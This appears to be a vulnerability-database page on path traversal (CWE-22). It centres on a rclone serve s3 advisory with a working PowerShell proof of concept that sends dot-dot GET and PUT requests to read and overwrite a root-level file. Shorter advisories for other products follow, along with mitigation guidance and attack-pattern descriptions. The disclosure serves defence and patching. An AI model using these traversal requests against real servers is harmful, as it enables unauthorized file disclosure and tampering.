$base = "$env:TEMP\rclone-serve-s3-poc" $root = "$base\root"

Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue New-Item -ItemType Directory -Force -Path "$root\bucket" | Out-Null Set-Content -Encoding ASCII -Path "$root\root-secret.txt" -Value "ROOT_LEVEL_SECRET_MARKER"

  1. Start rclone serve s3:

$rclone = "C:\Users\fff20\AppData\Local\Temp\rclone-current-bin\rclone-v1.74.3-windows-amd64\rclone.exe"

& $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file "$base\serve-s3.log"

  1. In another terminal, send a raw HTTP GET request containing a dot-dot object key:

$port = 19087 $req = "GET /bucket/../root-secret.txt HTTP/1.1rnHost: 127.0.0.1:$portrnContent-Length: 0rnConnection: closernrn"

$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = Text.Encoding::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length)

$client.Close()

  1. Observe that the response contains the root-level file content:

HTTP/1.1 200 OK

ROOT_LEVEL_SECRET_MARKER

  1. Send a raw HTTP PUT request to overwrite the same root-level file:

$body = "OVERWRITTEN_BY_DOTDOT" $req = "PUT /bucket/../root-secret.txt HTTP/1.1rnHost: 127.0.0.1:$portrnContent-Length: $($body.Length)rnConnection: closernrn$body"

$client = [System.Net.Sockets.TcpClient]::new("127.0.0.1", $port) $stream = $client.GetStream() $bytes = Text.Encoding::ASCII.GetBytes($req) $stream.Write($bytes, 0, $bytes.Length) $buf = New-Object byte[] 8192 $read = $stream.Read($buf, 0, $buf.Length)

$client.Close()

  1. Confirm that the root-level file was overwritten:

Get-Content "$root\root-secret.txt"

Observed result:

OVERWRITTEN_BY_DOTDOT

  1. The rclone debug log shows the unsafe normalization:

serve s3: GET OBJECT Bucket: bucket Object: ../root-secret.txt root-secret.txt: Open: flags=O_RDONLY

serve s3: CREATE OBJECT: bucket ../root-secret.txt root-secret.txt: OpenFile: flags=O_RDWR|O_CREATE|O_TRUNC

Expected result:

rclone serve s3 should reject object keys that would normalize outside the selected bucket, or preserve S3 object keys as opaque names without allowing ../ to affect the backend path.

Actual result:

rclone serve s3 normalizes the object key with path.Join(bucketName, objectName), allowing ../ segments in the object key to escape the bucket namespace and access root-level files under the configured serve root.

Impact

This is a path traversal / improper path normalization vulnerability in rclone serve s3.

An attacker who can send requests to an affected rclone serve s3 endpoint can use dot-dot object keys to read or overwrite files outside the selected bucket directory but still inside the configured serve root.

In deployments where rclone serve s3 exposes a root containing multiple buckets or root-level operational files, this can allow unauthorized disclosure or modification of files that are not intended to be accessible as objects in the selected bucket.

The issue is especially relevant when rclone serve s3 is run without --auth-key, because rclone documents that this configuration allows anonymous access. If authentication is configured, exploitation would require valid S3 access to the server.

Suggested fix:

Do not build backend paths by directly passing untrusted S3 object keys to path.Join with the bucket name.

Before accessing the backend, reject object keys containing path traversal segments that would escape the selected bucket after normalization. Alternatively, preserve object keys as opaque S3 names and encode path separators or dot-dot segments so they cannot affect backend path resolution.

Affected version tested:

rclone v1.74.3 official Windows binary

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.74.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.74.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T20:27:42Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nrclone serve s3 allows a client to read and write files at the root of the remote which would normally be inaccessible by using dot-dot path segments in the object key. It does not allow reading files outside of the root. A request such as GET /bucket/../root-secret.txt is handled as an object request for bucket \"bucket\", but rclone normalizes the backend path and reads root-secret.txt from the serve root. The same issue also allows overwriting root-level files with PUT.\n\n### Details\n\nThe affected component is rclone serve s3.\n\nRelevant source files:\n\ncmd/serve/s3/backend.go\ncmd/serve/s3/multipart.go\ncmd/serve/s3/list.go\n\nIn cmd/serve/s3/backend.go, the S3 backend builds backend paths by joining the bucket name and object key with path.Join:\n\nfp := path.Join(bucketName, objectName)\n\nThis pattern is used in object operations such as HeadObject, GetObject, PutObject, DeleteObject, and CopyObject.\n\nS3 object keys are opaque names and can legally contain dot-dot segments. However, path.Join treats the object key as a filesystem-style path and normalizes ../ segments. As a result, an object key such as ../root-secret.txt is resolved outside the selected bucket directory.\n\nFor example, when rclone serve s3 is serving a root directory that contains:\n\nroot/\n  bucket/\n  root-secret.txt\n\na raw S3 HTTP request to:\n\nGET /bucket/../root-secret.txt\n\nis parsed as a request for bucket \"bucket\" and object \"../root-secret.txt\". The backend then calculates:\n\npath.Join(\"bucket\", \"../root-secret.txt\") == \"root-secret.txt\"\n\nThis causes rclone to read root-secret.txt from the serve root instead of rejecting the request or treating ../ as part of the S3 object key.\n\nThe same behavior affects writes. A request such as:\n\nPUT /bucket/../root-secret.txt\n\noverwrites root-secret.txt in the serve root.\n\nThis is a path traversal / improper path normalization issue in the S3 serving layer. It does not escape the configured rclone serve root, but it does escape the S3 bucket namespace and can expose or modify root-level files that are not intended to be S3 objects.\n\n### PoC\n\nPoC:https://drive.google.com/file/d/1-b1ATr5Szx6iW-x_dcCDppT_aKtY8ene/view?usp=sharing\n\nTest environment:\n\nWindows 11\nrclone v1.74.3 official Windows binary\nrclone serve s3 using a local filesystem root\nNo --auth-key configured, so the server allows anonymous access as documented\n\n1. Prepare a test serve root:\n\n$base = \"$env:TEMP\\rclone-serve-s3-poc\"\n$root = \"$base\\root\"\n\nRemove-Item -Recurse -Force $base -ErrorAction SilentlyContinue\nNew-Item -ItemType Directory -Force -Path \"$root\\bucket\" | Out-Null\nSet-Content -Encoding ASCII -Path \"$root\\root-secret.txt\" -Value \"ROOT_LEVEL_SECRET_MARKER\"\n\n2. Start rclone serve s3:\n\n$rclone = \"C:\\Users\\fff20\\AppData\\Local\\Temp\\rclone-current-bin\\rclone-v1.74.3-windows-amd64\\rclone.exe\"\n\n\u0026 $rclone serve s3 $root --addr 127.0.0.1:19087 -vv --log-file \"$base\\serve-s3.log\"\n\n3. In another terminal, send a raw HTTP GET request containing a dot-dot object key:\n\n$port = 19087\n$req = \"GET /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: 0`r`nConnection: close`r`n`r`n\"\n\n$client = [System.Net.Sockets.TcpClient]::new(\"127.0.0.1\", $port)\n$stream = $client.GetStream()\n$bytes = [Text.Encoding]::ASCII.GetBytes($req)\n$stream.Write($bytes, 0, $bytes.Length)\n$buf = New-Object byte[] 8192\n$read = $stream.Read($buf, 0, $buf.Length)\n[Text.Encoding]::ASCII.GetString($buf, 0, $read)\n$client.Close()\n\n4. Observe that the response contains the root-level file content:\n\nHTTP/1.1 200 OK\n\nROOT_LEVEL_SECRET_MARKER\n\n5. Send a raw HTTP PUT request to overwrite the same root-level file:\n\n$body = \"OVERWRITTEN_BY_DOTDOT\"\n$req = \"PUT /bucket/../root-secret.txt HTTP/1.1`r`nHost: 127.0.0.1:$port`r`nContent-Length: $($body.Length)`r`nConnection: close`r`n`r`n$body\"\n\n$client = [System.Net.Sockets.TcpClient]::new(\"127.0.0.1\", $port)\n$stream = $client.GetStream()\n$bytes = [Text.Encoding]::ASCII.GetBytes($req)\n$stream.Write($bytes, 0, $bytes.Length)\n$buf = New-Object byte[] 8192\n$read = $stream.Read($buf, 0, $buf.Length)\n[Text.Encoding]::ASCII.GetString($buf, 0, $read)\n$client.Close()\n\n6. Confirm that the root-level file was overwritten:\n\nGet-Content \"$root\\root-secret.txt\"\n\nObserved result:\n\nOVERWRITTEN_BY_DOTDOT\n\n7. The rclone debug log shows the unsafe normalization:\n\nserve s3: GET OBJECT Bucket: bucket Object: ../root-secret.txt\nroot-secret.txt: Open: flags=O_RDONLY\n\nserve s3: CREATE OBJECT: bucket ../root-secret.txt\nroot-secret.txt: OpenFile: flags=O_RDWR|O_CREATE|O_TRUNC\n\nExpected result:\n\nrclone serve s3 should reject object keys that would normalize outside the selected bucket, or preserve S3 object keys as opaque names without allowing ../ to affect the backend path.\n\nActual result:\n\nrclone serve s3 normalizes the object key with path.Join(bucketName, objectName), allowing ../ segments in the object key to escape the bucket namespace and access root-level files under the configured serve root.\n\n### Impact\n\nThis is a path traversal / improper path normalization vulnerability in rclone serve s3.\n\nAn attacker who can send requests to an affected rclone serve s3 endpoint can use dot-dot object keys to read or overwrite files outside the selected bucket directory but still inside the configured serve root.\n\nIn deployments where rclone serve s3 exposes a root containing multiple buckets or root-level operational files, this can allow unauthorized disclosure or modification of files that are not intended to be accessible as objects in the selected bucket.\n\nThe issue is especially relevant when rclone serve s3 is run without --auth-key, because rclone documents that this configuration allows anonymous access. If authentication is configured, exploitation would require valid S3 access to the server.\n\nSuggested fix:\n\nDo not build backend paths by directly passing untrusted S3 object keys to path.Join with the bucket name.\n\nBefore accessing the backend, reject object keys containing path traversal segments that would escape the selected bucket after normalization. Alternatively, preserve object keys as opaque S3 names and encode path separators or dot-dot segments so they cannot affect backend path resolution.\n\nAffected version tested:\n\nrclone v1.74.3 official Windows binary",
  "id": "GHSA-8v25-v8p6-qf7v",
  "modified": "2026-08-05T20:27:42Z",
  "published": "2026-08-05T20:27:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-8v25-v8p6-qf7v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/83d1e62aa9e0dbd10a5d7eb34c117ae997268cdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/c89b766cf417fddbe7eace40d31262ecb85bfa93"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.74.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " rclone: Path traversal in serve s3 allows reading and overwriting root-level files"
}

GHSA-8V2M-X872-56FC

Vulnerability from github – Published: 2023-10-29 15:30 – Updated: 2023-10-29 15:30
VLAI
Details

A vulnerability, which was classified as critical, was found in almosteffortless secure-files Plugin up to 1.1 on WordPress. Affected is the function sf_downloads of the file secure-files.php. The manipulation of the argument downloadfile leads to path traversal. Upgrading to version 1.2 is able to address this issue. The name of the patch is cab025e5fc2bcdad8032d833ebc38e6bd2a13c92. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-243804.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2005-10002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-10-29T15:15:42Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, was found in almosteffortless secure-files Plugin up to 1.1 on WordPress. Affected is the function sf_downloads of the file secure-files.php. The manipulation of the argument downloadfile leads to path traversal. Upgrading to version 1.2 is able to address this issue. The name of the patch is cab025e5fc2bcdad8032d833ebc38e6bd2a13c92. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-243804.",
  "id": "GHSA-8v2m-x872-56fc",
  "modified": "2023-10-29T15:30:48Z",
  "published": "2023-10-29T15:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-10002"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wp-plugins/secure-files/commit/cab025e5fc2bcdad8032d833ebc38e6bd2a13c92"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.243804"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.243804"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8V4J-7JGF-5RG9

Vulnerability from github – Published: 2023-01-31 23:33 – Updated: 2023-03-31 00:06
VLAI
Summary
Warp vulnerable to Path Traversal via Improper validation of Windows paths
Details

Path resolution in warp::filters::fs::dir didn't correctly validate Windows paths meaning paths like /foo/bar/c:/windows/web/screen/img101.png would be allowed and respond with the contents of c:/windows/web/screen/img101.png. Thus users could potentially read files anywhere on the filesystem.

This only impacts Windows. Linux and other unix likes are not impacted by this.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "warp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-01-31T23:33:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Path resolution in `warp::filters::fs::dir` didn\u0027t correctly validate Windows paths meaning paths like `/foo/bar/c:/windows/web/screen/img101.png` would be allowed and respond with the contents of `c:/windows/web/screen/img101.png`. Thus users could potentially read files anywhere on the filesystem.\n\nThis only impacts Windows. Linux and other unix likes are not impacted by this.\n",
  "id": "GHSA-8v4j-7jgf-5rg9",
  "modified": "2023-03-31T00:06:08Z",
  "published": "2023-01-31T23:33:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/seanmonstar/warp/issues/937"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seanmonstar/warp/pull/997"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seanmonstar/warp/commit/0074a0a3e98786509259bfe3821d3b3f094257aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/seanmonstar/warp"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2022-0082.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Warp vulnerable to Path Traversal via Improper validation of Windows paths"
}

GHSA-8V54-89GR-P9GQ

Vulnerability from github – Published: 2022-05-14 03:22 – Updated: 2022-05-14 03:22
VLAI
Details

Absolute path traversal vulnerability in Eshtery CMS allows remote attackers to read arbitrary files via a full pathname in the file parameter to FileManager.aspx.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-2069"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-16T09:58:00Z",
    "severity": "HIGH"
  },
  "details": "Absolute path traversal vulnerability in Eshtery CMS allows remote attackers to read arbitrary files via a full pathname in the file parameter to FileManager.aspx.",
  "id": "GHSA-8v54-89gr-p9gq",
  "modified": "2022-05-14T03:22:26Z",
  "published": "2022-05-14T03:22:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2069"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/91463"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2014/Feb/219"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/65740"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8V55-7P5P-6R5C

Vulnerability from github – Published: 2026-08-05 09:31 – Updated: 2026-08-05 09:31
VLAI
Details

The pocketflow-coding-agent cookbook example in The-Pocket/PocketFlow implements a _path(workdir, p) helper as a thin os.path.join(workdir, p) wrapper with no canonicalization or containment check, used unguarded by the ReadFile, ListFiles, PatchRead, and PatchApply file-access tools. Because os.path.join returns an absolute p unchanged (ignoring workdir) and does not resolve '../' sequences, an agent invocation whose file-tool arguments include an absolute path or a traversal sequence can read or write files outside the configured working directory. Severity reflects that this affects an illustrative cookbook example rather than a core library API; applications that copy this pattern into production are affected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-55747"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T08:16:34Z",
    "severity": "MODERATE"
  },
  "details": "The pocketflow-coding-agent cookbook example in The-Pocket/PocketFlow implements a `_path(workdir, p)` helper as a thin os.path.join(workdir, p) wrapper with no canonicalization or containment check, used unguarded by the ReadFile, ListFiles, PatchRead, and PatchApply file-access tools. Because os.path.join returns an absolute `p` unchanged (ignoring workdir) and does not resolve \u0027../\u0027 sequences, an agent invocation whose file-tool arguments include an absolute path or a traversal sequence can read or write files outside the configured working directory. Severity reflects that this affects an illustrative cookbook example rather than a core library API; applications that copy this pattern into production are affected.",
  "id": "GHSA-8v55-7p5p-6r5c",
  "modified": "2026-08-05T09:31:17Z",
  "published": "2026-08-05T09:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55747"
    },
    {
      "type": "WEB",
      "url": "https://github.com/The-Pocket/PocketFlow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8V58-WVR2-FJ59

Vulnerability from github – Published: 2024-03-21 03:36 – Updated: 2024-03-21 03:36
VLAI
Details

Path Traversal in Sonatype IQ Server from version 143 allows remote authenticated attackers to overwrite or delete files via a specially crafted request. Version 171 fixes this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-1142"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-21T02:51:36Z",
    "severity": "MODERATE"
  },
  "details": "Path Traversal in Sonatype IQ Server from version 143 allows remote authenticated attackers to overwrite or delete files via a specially crafted request. Version 171 fixes this issue.",
  "id": "GHSA-8v58-wvr2-fj59",
  "modified": "2024-03-21T03:36:45Z",
  "published": "2024-03-21T03:36:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1142"
    },
    {
      "type": "WEB",
      "url": "https://support.sonatype.com/hc/en-us/articles/27034479038739-CVE-2024-1142-Sonatype-IQ-Server-Path-Traversal-2024-03-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.